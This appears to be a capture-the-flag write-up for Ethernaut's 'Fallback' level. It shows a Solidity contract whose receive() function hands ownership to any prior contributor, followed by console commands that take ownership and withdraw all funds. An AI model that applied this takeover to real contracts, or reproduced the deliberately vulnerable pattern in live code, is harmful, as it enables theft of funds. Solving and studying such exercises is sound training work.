Level 1 - Fallback ⏺
Level Setup
Level Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
Exploit
The exploit in this contract is in the receive()
function as it changes the owner to any msg.sender
provided that the msg.sender
has previously been added to the contributions
mapping.
Start by contributing to the contract as this is needed to pass the
require
check in thereceive()
function. The contribution must be less than0.001 ETH
to pass therequire
on thecontribute()
function (line 23
).
await contract.contribute({
value: toWei('0.0005'),
})
Become the owner by sending an amount of ETH directly to the contract which will get picked up by the
receive()
function (line 38
).
await sendTransaction({
to: contract.address,
from: player,
value: toWei('0.0001')
})
Now you are the owner, withdraw all the funds.
await contract.withdraw()
Submit instance... 🥳
Completion Message
Notes
This exploit shows how logic in the
receive()
function should be carefully reviewed as even though it can't be easily called through a standard contract function call, it's still possible to call it.The logic doesn't make much sense as I don't see what was trying to be achieved. Maybe to have a "secret" way to change the owner?
Last updated